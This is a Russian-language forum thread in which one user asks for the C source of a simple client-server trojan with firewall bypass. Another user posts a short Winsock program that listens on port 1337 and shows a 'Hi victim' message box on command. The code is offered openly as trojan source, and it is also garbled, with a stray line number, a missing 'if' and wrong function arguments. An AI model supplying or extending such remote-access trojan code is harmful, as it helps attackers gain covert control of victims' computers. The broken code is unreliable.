исходник простого трояна

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Satell, 30 Apr 2007.

  1. Satell

    Satell Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    91
    Likes Received:
    5
    Reputations:
    1
    нужен на с, обычный клиент-сервер, можно с обходом фаерволов и т.п.
     
    1 person likes this.
  2. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    Давно постил на античате ....

    PHP:
    #include <winsock2.h>
    #include <string.h>
    #include <stdio.h>
    #define bPort 1337 
    int main() 
    { 
    WSADATA syData; 
    //WSAData syData; 
    int sin_size,bRe,bSocket;
    int newSocket; 
    struct sockaddr_in myAddr,theirAddr; 
    char buffer[80]; 
    WSAStartup(MAKEWORD(1, 1), &syData); 
    bSocket = socket(AF_INET, SOCK_STREAM, 0); 
    myAddr.sin_port = htons(bPort);
    myAddr.sin_family = AF_INET; 
    myAddr.sin_addr.s_addr = INADDR_ANY;
    memset(&(myAddr.sin_zero), '\0', 8); 
    bind(bSocket, (struct sockaddr *)&myAddr, sizeof(struct sockaddr)); 
     
    listen(bSocket, 1); 
    sin_size = sizeof(struct sockaddr_in); 
    while(
    1) {
    newSocket = accept(bSocket, (struct sockaddr *)&theirAddr, &sin_size); 
    while (
    1) { 38. bRe=recv(newSocket, buffer, sizeof(buffer), 0); 
     if (
    bRe == 0 || bRe == -1) break; 
    (
    strcmp(buffer,"Messagebox") == 0) MessageBox("Sup ?","Hi victim",MB_OK); 
     } 
    } 
    return 
    0; 
     }